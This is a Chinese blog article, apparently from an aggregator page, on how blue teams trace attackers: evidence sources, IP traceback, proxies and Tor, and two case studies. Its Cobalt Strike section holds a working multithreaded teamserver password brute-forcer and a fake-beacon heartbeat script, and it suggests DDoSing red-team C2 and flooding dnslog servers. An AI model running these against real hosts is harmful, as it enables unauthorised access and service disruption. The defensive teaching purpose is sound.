蓝队如何溯源追踪

溯源追踪问题是蓝队需要掌握的能力,在面试中也是一个常问的问题。

参考蓝队溯源反制思路 - LoYoHo00 - 博客园红蓝对抗系列之浅谈蓝队反制红队的手法一二 - 先知社区

目录

什么是溯源追踪?

溯源思路

攻击源捕获

溯源反制手段

常见红队被反制姿势

Cobalt Strike反制

针对dnslog 的反制

dnslog反制

httplog反制

寻找真实IP

掩盖真实IP

虚假IP地址攻击溯源

溯源实例


什么是溯源追踪?

在护网和攻防中,溯源是指通过收集、分析和解释数字证据来追踪和还原网络攻击或其他网络犯罪活动的过程,它旨在确定攻击者的身份、行为和意图,以便采取适当的对策,并为法律机构提供必要的证据。

总而言之,溯源的目标:

  • 掌握攻击者的攻击手法(例如特定木马等)
  • 掌握攻击者的IP域名资产(例如木马存放站点、资产特点等)
  • 掌握攻击者的虚拟身份以及身份
  • 掌握攻击者武器的检测或发现方法,将捕获的数据形成新的线索。

溯源思路

攻击源捕获

  • 安全设备告警:例如扫描IP、威胁阻断、病毒木马、入侵事件等
  • 日志与流量分析:例如异常的流量、异常攻击源与攻击目标等
  • 服务器资源异常:例如异常的文件、账号、进程、端口,启动项、计划任务和服务等
  • 邮件钓鱼:例如获取了恶意文件、钓鱼网站url等
  • 蜜罐系统:获取了攻击者行为、意图的相关信息

溯源反制手段

通过IP、域名、邮件等进行溯源,其中IP地址溯源是追踪攻击者的最基本方法之一。

  • IP定位技术:根据IP定位物理地址,但大多数情况都是代理IP,所以也是有一定难度的;查询IP历史解析记录。

代理IP:

代理IP是一种允许用户通过中间服务器访问互联网的技术,用户的请求首先发送到代理服务器,再由代理服务器向目标服务器发送请求并获取响应。

代理IP可以隐藏用户的真实IP地址,使用户的网络访问行为不易被追踪;且可以绕过地理位置限制,让用户访问被封锁或限制的内容。

  •  ID追踪术:通过搜索引擎、社交平台、技术论坛、社工库等匹配信息,获得攻击者更多信息。例如知道手机号可以去社工库匹配等。
  • 网站URL:通过域名whois查询,查询注册人的姓名、地址、电话和邮箱等
  • 恶意样本:通过提取样本特征可以得到攻击者的信息

常见红队被反制姿势

  1. 使用个人工作PC,且浏览器里面保存了baidu、Google等登录凭据,攻击者对抗过程中踩到蓝队蜜罐,被获取到IP,从而被溯源到真实姓名和所在公司。
  2. 红队个人或团队,使用自己的网站vps(虚拟机)进行扫描,vps上可能含有团队组织的https证书、或vps IP绑定的域名跟安全社交id对应,从而被溯源到真实姓名和所在公司
  3. 攻击队写的扫描器payload里面含有攻击者信息,如使用了私有dnslog、攻击载荷里面含有安全社交id、含有个人博客资源请求等。
  4. 投递的钓鱼邮件内木马样本被蓝队采集、逆向、反控C2C、溯源到个人信息
  5. 虚拟机逃逸到实体机,暴露个人信息。

Cobalt Strike反制

在防守里,必不可少的就是邮件钓鱼和社工钓鱼。而红队很常使用Cobalt Strike生成相关的shell木马,防守方可以针对Cobalt Strike进行反制。

  • 批量上钓鱼木马,启动大量进程,ddos红方的cs端(需要蓝队自己注意与真实环境隔离好),利用地址:https://github.com/Tk369/pluginS/blob/master/ll.py
  • 爆破cs密码。一般而言,红队cs设施为了多人合作,密码通常不会太复杂,有很大可能是弱口令为主,甚至teamserver端口是默认端口50050,那么针对cs端控制端,可以直接进行爆破密码。

附cs 爆破密码脚本

#!/usr/bin/env python3import time,socket,ssl,argparse,concurrent.futures,sysMIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON)parser = argparse.ArgumentParser()parser.add_argument("host",help="Teamserver address")
parser.add_argument("wordlist", nargs="?",help="Newline-delimited word list file")args = parser.parse_args()class NotConnectedException(Exception):def __init__(self, message=None, node=None):self.message = messageself.node = nodeclass DisconnectedException(Exception):def __init__(self, message=None, node=None):self.message = messageself.node = nodeclass Connector:def __init__(self):self.sock = Noneself.ssl_sock = Noneself.ctx = ssl.SSLContext()self.ctx.verify_mode = ssl.CERT_NONEpassdef is_connected(self):return self.sock and self.ssl_sockdef open(self, hostname, port):self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.sock.settimeout(10)self.ssl_sock = self.ctx.wrap_socket(self.sock)if hostname == socket.gethostname():ipaddress = socket.gethostbyname_ex(hostname)[2][0]self.ssl_sock.connect((ipaddress, port))else:self.ssl_sock.connect((hostname, port))def close(self):if self.sock:self.sock.close()self.sock = Noneself.ssl_sock = Nonedef send(self, buffer):if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")self.ssl_sock.sendall(buffer)def receive(self):if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")received_size = 0data_buffer = b""while received_size < 4:data_in = self.ssl_sock.recv()data_buffer = data_buffer + data_inreceived_size += len(data_in)return data_bufferdef passwordcheck(password):if len(password) > 0:result = Noneconn = Connector()conn.open(args.host, 50050)payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A"))conn.send(payload)if conn.is_connected(): result = conn.receive()if conn.is_connected(): conn.close()if result == bytearray(b"\x00\x00\xca\xfe"): return passwordelse: return Falseelse: print("Do not have a blank password!!!")passwords = []if args.wordlist: passwords = open(args.wordlist).read().split("\n")
else: for line in sys.stdin: passwords.append(line.rstrip())if len(passwords) > 0:attempts = 0failures = 0with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor:future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}for future in concurrent.futures.as_completed(future_to_check):password = future_to_check[future]try:data = future.result()attempts = attempts + 1if data:print ("Successful Attack!!!")print("Target Password: {}".format(password))except Exception as exc:failures = failures + 1print('%r generated an exception: %s' % (password, exc))else:print("Password(s) required")
  • 假上线。只需要发送心跳包,即可模拟上线,并且攻击者无法执行命令。

附上代码,使用时更改换IP或域名、portcookie

# coding: utf-8import re
import time
import requestsdef heartbeat():url = "http://192.168.186.133:333/activity"headers = {'Cookie': 'IgyzGuIX0Jra5Ht45ZLYKyXWBnxfkNI3m6BOvExEPdWCuAv8fnY6HXKTygBOVdE34sDYusoDIjzHr/QR32mKsoVPb5NFMCHAtC7FLQUdSsZdufXjsd2dSqkGDcaZkcQYD1BssyjGZHTy42lT8oDpga3y1z5FMGRjobeksgaMX7M=','Host': '192.168.186.133:333','Accept': '*/*','Connection': 'Keep-Alive','Cache-Control': 'no-cache','User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)'}resp = requests.get(url=url,headers=headers)text = resp.content.hex()return textx = True
while x:text = heartbeat()lengs = len(text)# print(lengs, "    ", text)if '2f4320' in text and '000041' in text:print(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))commeds = re.findall(r'2f4320(.*?)000041', text)for comm in commeds:commed = bytes.fromhex(comm).decode('utf-8')print(commed)time.sleep(5)

针对dnslog 的反制

 一般而言,常见的公开的dnslog 平台,蓝队防守的时候可对常见dnslog 平台进行屏蔽即可,那么针对自行搭建的dnslog 平台有以下思路进行反制。

dnslog反制

可进行批量ping 捕获到的dnslog ,然后恶意扰乱他自行搭建的,恶意制造各种垃圾dnslog数据,让他无法获取到有效信息。直接让红队人员被迫废弃一个红队基础设施。 具体可以写个脚本比如站长之家之类的进行批量ping ,进行探测存活。

httplog反制

http log 同理, 使用爬虫节点,批量进行request 请求 捕获的http url 即可,这样红队的dnslog 平台几乎彻底报废。

寻找真实IP

掩盖真实IP

上面也有提及,很大部分情况碰到的IP都不是实际的IP,寻找真实IP也叫攻击源追踪。主要有五个方面掩盖真实IP:

  • 虚假IP溯源:取证人员检测到的攻击数据包中,其源IP地址是伪造的。例如典型的SYN flood攻击。

这类攻击,攻击者将攻击数据包中的源IP地址替换为伪造的IP地址,受害主机收到数据包后,将响应数据包发送给伪造的IP地址主机,这些主机可能存在也可能不存在,这样受害主机就无法得到攻击主机的IP地址。

另外,也有一种攻击,如Smurf攻击、DNS放大攻击等,攻击者将攻击数据包的源IP地址替换为受害者的IP地址,将攻击数据包广播给反射主机,反射主机收到数据包后,响应数据包将发送给受害主机。受害主机端只能判断这些数据包来自反射主机,无法知道真实攻击者的IP地址。

  • 僵尸网络溯源:攻击者利用僵尸网络发动攻击,这种情况下,受害主机端只能识别攻击数据包来自bot僵尸主机,无法识别真实的攻击者IP
  • 匿名网络溯源:攻击者利用匿名网络,如tor网络。受害端识别攻击数据包中的源IP地址来自于匿名网络,无法检测到真正攻击者。

Tor(The Onion Router)网络是一个用于实现匿名通信的网络,旨在保护用户隐私和提供对互联网内容的匿名访问。Tor网络的核心原理是通过多层加密和多级代理来保护用户的隐私和安全。用户的数据在通过Tor网络时会被多次加密,每个节点只能解开一层加密,最终数据到达目标服务器。Tor客户端会从网络中随机选择三个节点,形成通信链路:入口节点、中继节点和出口节点。出口节点将解密后的流量发送到公共互联网,从而到达目标网站。

  • 跳板溯源:攻击者利用多个“跳板主机”,即通过控制多个主机转发攻击数据包,其“源IP”即为最后一跳的主机IP地址。显然,跳板路径越长,越难追踪到攻击者。
  • 局域网络溯源:攻击者位于私有网络内,比如无线局域网内,攻击数据包的源IP经过了网关的NAT地址转换。由于攻击者的IP地址是私有IP地址,在受害主机端只能看到NAT网关的IP地址。

虚假IP地址攻击溯源

也称为IP追踪。具体分为几种情况

  • 能够控制路由器,修改路由软件时:通过给数据包打标记。主要有概率包标记算法、确定包标记算法、ICMP标记算法等。同时还有一些组合方法,例如采用数据包标记和数据包记录的混合方法;综合了 ICMP 和 PPM 算法, 路由器对于 IP 数据包以一定概率进行标记, 并且同时把IP地址填入ICMP包中等等。
  • 能够控制路由器,但是不能修改路由软件时:通过记录数据包,然后构造出数据包所经过的路径。很显然,该方法可以回溯单个数据包,但缺点是需要路由器存储空间受限问题。或者另一种思路是在现有路由结构上建立一个覆盖网络,通过新设计的覆盖网络来实现数据包跟踪。
  • 不能控制路由器,但能在网络上部署监控器时:利用路由器自然产生的ICMP错误报文,这些ICMP报文会被发往这些虚假的IP地址,其中包含路由器的IP地址以及原数据包的源和目的地址,因此部署在网络上的监控器会受到这些ICMP报文,根据报文构造这些数据包的攻击路径。但是这种方法要求攻击数据包的流量比较大,且要在攻击进行时实施。
  • 只知道网络拓扑结构时:利用链路泛洪测试。在大流量数据包的情况下,从被攻击目标出发,由近及远,依次对被攻击目标的上游路由器进行UDP泛洪。若某条链路上存在攻击流量,由于泛洪流量的存在,将导致攻击流量丢包。根据这一现象,即可以判断出某条链路上是否存在攻击流量,从而构造出攻击路径。不过该方法只能对单个攻击流量进行检测,若同时存在多个攻击流量,则很难区分不同的攻击流量。这种方法同样要求攻击数据包流量较大,并且一旦攻击结束,方法也就失效了。另外,这种方法本身就是一种 DoS攻击,会影响正常的数据流量。
  • 不了解任何信息时:先了解网络拓扑结构,再利用链路泛洪测试。

溯源实例

上面说了这么多,感觉还是看案例会比较好理解。这里参考大佬做的溯源案例,我这里就简单梳理,具体可以去看大佬的文章攻防蓝队技能:溯源技巧

第一例:

  1. 态势感知发现弱口令攻击告警
  2. 对尝试弱口令进行详细研判,发现确实尝试弱口令admin/admin
  3. 对IP进行威胁情报中心查询,发现风险评估为高,情报中心里面成功解析到域名
  4. 将域名进行备案查询,即可发现为某科技公司。

第二例:

  1. 发现某IP对其进行SQL注入攻击、目录遍历等攻击行为
  2. 微步查询IP绑定的域名,查看域名实时解析的IP都为同一个IP
  3. 发现该IP关联的域名,访问获取到该人姓氏
  4. 访问域名同样获取大关键信息,QQ、电话以及邮箱
  5. 通过百度邮箱地址搜索信息发现该作者的全名
  6. 访问主页,点击立即获取。发现下载文件提示为后门病毒文件。通过主页防止病毒文件诱导他人下载,植入木马。
  7. 通过百度姓名发现院校,发现发帖显示了籍贯、、、、、

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1550184.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

数据库入门不再难:克服学习障碍的实用技巧与演示

文章目录 摘要引言常见的学习困难及解决方法理解抽象的数据库概念SQL语句的构建与优化理解事务与并发控制 实用的学习技巧与工具推荐推荐学习资源数据库设计与实践的常用技巧 实战演练常见问题解答总结未来展望参考资料 摘要 数据库学习对于初学者来说&#xff0c;往往会面临诸…

优思学院|六西格玛黑带是什么?取得六西格玛黑带证书有何作用?

1. 六西格玛黑带是什么&#xff1f; 六西格玛黑带&#xff08;Black Belt&#xff09;是六西格玛项目中的高级专业人员&#xff0c;负责领导跨职能团队&#xff0c;使用统计分析工具和方法&#xff0c;深入分析业务流程中的问题并制定改进方案。黑带要具备扎实的六西格玛知识&…

HTTP协议代码实现

目录 一. 服务端模块实现 二. HTTP协议模块实现 2.1 HTTP请求部分&#xff1a; 2.2 HTTP响应部分&#xff1a; 2.3 工厂类部分&#xff1a; 2.4 HTTP服务端部分&#xff1a; 2.5 回头处理业务处理函数&#xff1a; 三. 调用服务端模块实现 四. 具体效…

【含文档】基于Springboot+Vue的高校奖助学金系统(含源码+数据库+lw)

1.开发环境 开发系统:Windows10/11 架构模式:MVC/前后端分离 JDK版本: Java JDK1.8 开发工具:IDEA 数据库版本: mysql5.7或8.0 数据库可视化工具: navicat 服务器: SpringBoot自带 apache tomcat 主要技术: Java,Springboot,mybatis,mysql,vue 2.视频演示地址 3.功能 系统定…

柯桥学英语商务口语中老外最爱说的“what‘s up“是什么意思?回答错超尴尬!

“Whats up&#xff1f;” 在看美剧或者和老外聊天的时候 我们总能听到这句话 那你知道这句老外很爱说的 “whats up”是什么意思吗&#xff1f; 快和小编一起来学习吧~ 01 whats up 怎么理解&#xff1f; 很多人觉得Whats up就是更地道的“How are you”&#xff0c;嗯………

【vue3】防抖与节流

1.防抖 &#xff08;多次触发 只执行最后一次&#xff09; 作用&#xff1a; 高频率触发的事件,在指定的单位时间内&#xff0c;只响应最后一次&#xff0c;如果在指定的时间内再次触发&#xff0c;则重新计算时间防抖类似于英雄联盟回城6秒&#xff0c;如果回城中被打断&…

怎么查看员工电脑安装了什么软件

1、使用专业监控软件&#xff1a;安装如金刚钻信息网站行为审计系统、WorkWin等专业的电脑监控软件。这些软件能够实时监控员工的电脑操作&#xff0c;包括安装的软件、运行的程序等。通过软件的管理端&#xff0c;您可以轻松查看员工电脑上安装的所有软件&#xff0c;并可以设…

Library介绍(二)

时序弧&#xff08;timing arc&#xff09; 描述2个节点延迟信息的数据&#xff0c;可以分为net delay和cell delay两大类。 Net delay: drive cell output pin和drived cell input pin之间的net delay&#xff0c;取决于net rc和drive cell驱动能力及drived cell的load。 C…

为什么需要数字集群手持终端?应用优势

在当今社会&#xff0c;无论是应急响应、企业运营还是政府管理&#xff0c;高效、可靠的通讯手段都是成功的关键因素。数字集群手持终端&#xff0c;作为现代通信技术的代表&#xff0c;正成为提升通信效率和确保信息安全的强大工具。据统计&#xff0c;我国的数字集群网络已发…

红蓝攻防实战技术———实战化运营体系的落地

大家好&#xff0c;我是herosunly。985院校硕士毕业&#xff0c;现担任算法研究员一职&#xff0c;热衷于大模型算法的研究与应用。曾担任百度千帆大模型比赛、BPAA算法大赛评委&#xff0c;编写微软OpenAI考试认证指导手册。曾获得阿里云天池比赛第一名&#xff0c;CCF比赛第二…

ZYNQ:点亮LED灯

FPGA 开发流程 1、需求分析&#xff1a;分析需要实现什么功能 2、系统设计&#xff1a;对系统进行设计&#xff0c;需要哪些模块&#xff0c;实现什么功能&#xff0c;数据流怎么走&#xff0c;带宽、工作频率怎么样 3、硬件选项&#xff1a;根据功能、性能需求选择合适的FPGA…

安防区域保护:无线电干扰设备技术详解

在安防区域保护中&#xff0c;无线电干扰设备技术扮演着重要角色&#xff0c;它主要用于通过发射特定频率的无线电波来干扰无人机或其他无线电设备的通信链路、导航信号或控制信号&#xff0c;以达到削弱、阻断甚至控制这些设备运行的目的。以下是对无线电干扰设备技术的详细解…

宝塔环境下MinDoc的安装教程

安装 本教程只适用于CentOS 7&#xff0c;其它系统教程参考&#xff1a;Github地址。 1、下载MinDoc并解压 访问https://github.com/mindoc-org/mindoc/releases下载最新版本并解压 #创建一个目录 mkdir mindoc && cd mindoc#一般宝塔带wget和unzip&#xff0c;如果…

大数据新视界 --大数据大厂之Cassandra 分布式数据库在大数据中的应用与调优

&#x1f496;&#x1f496;&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎你们来到 青云交的博客&#xff01;能与你们在此邂逅&#xff0c;我满心欢喜&#xff0c;深感无比荣幸。在这个瞬息万变的时代&#xff0c;我们每个人都在苦苦追寻一处能让心灵安然栖息的港湾。而 我的…

Open WebUI部署自己的大模型

相关代码地址见文末 1. 概述 Text Generation WebUI 是一个基于网页的界面,提供使用不同语言模型(如Transformers、Llama、ExLlamav2等)进行文本生成的功能。该软件支持以下主要功能: 模型加载:支持从多种框架加载单个或多个LoRA。LoRA微调:在支持的加载器上进行低秩适…

ArcgisEngine开发中,Ifeatureclass.Addfield 报错0x80040655处理方法

1、ArcgisEngine开发中&#xff0c;Ifeatureclass.Addfield 报错0x80040655。如下图所示。 2、经分析&#xff0c;这是由于字段类型错误&#xff0c;经检查&#xff0c;是由于字段名为中文名&#xff0c;超出shp格式的最大字段长度量&#xff0c;看资料说是5个中文字符&#xf…

关于BSV区块链覆盖网络的常见问题解答(上篇)

​​发表时间&#xff1a;2024年9月20日 在BSV区块链上的覆盖网络服务为寻求可扩展、安全、高效交易处理解决方案的开发者和企业家开辟了新的视野。 作为开创性的曼达拉升级的一部分&#xff0c;覆盖网络服务提供了一个强大的框架&#xff0c;用于管理特定类型的交易和数据访问…

城市应急演习演练三维电子沙盘推演系统

深圳易图讯科技(www.3dgis.top)城市应急演习演练三维电子沙盘推演系统&#xff0c;依托大数据、云计算、虚拟现实等先进技术&#xff0c;集成了高清卫星影像、地形数据、实景三维模型等多元信息&#xff0c;真实模拟城市应急场景。该系统通过三维可视化展示和交互操作&#xff…

Pytorch 学习手册

零 相关资料 官方网址 官方网址下的API搜索网站 一 定义 深度学习框架是用于设计、训练和部署深度学习模型的软件工具包。这些框架提供了一系列预定义的组件&#xff0c;如神经网络层&#xff08;卷积层、全连接层等&#xff09;、损失函数、优化器以及数据处理工具&#xf…

Mybatis-Mapper接口方式

目录 配置方式和接口方式的区别 示例&#xff1a;Mapper接口方式实现数据库的CRUD 配置方式和接口方式的区别 Mybatis框架在配置方式的情况下&#xff0c;对数据库的CRUD操作直接通过SqlSession对象来操作&#xff0c;常用的方法有select、insert、update、delete等方法&…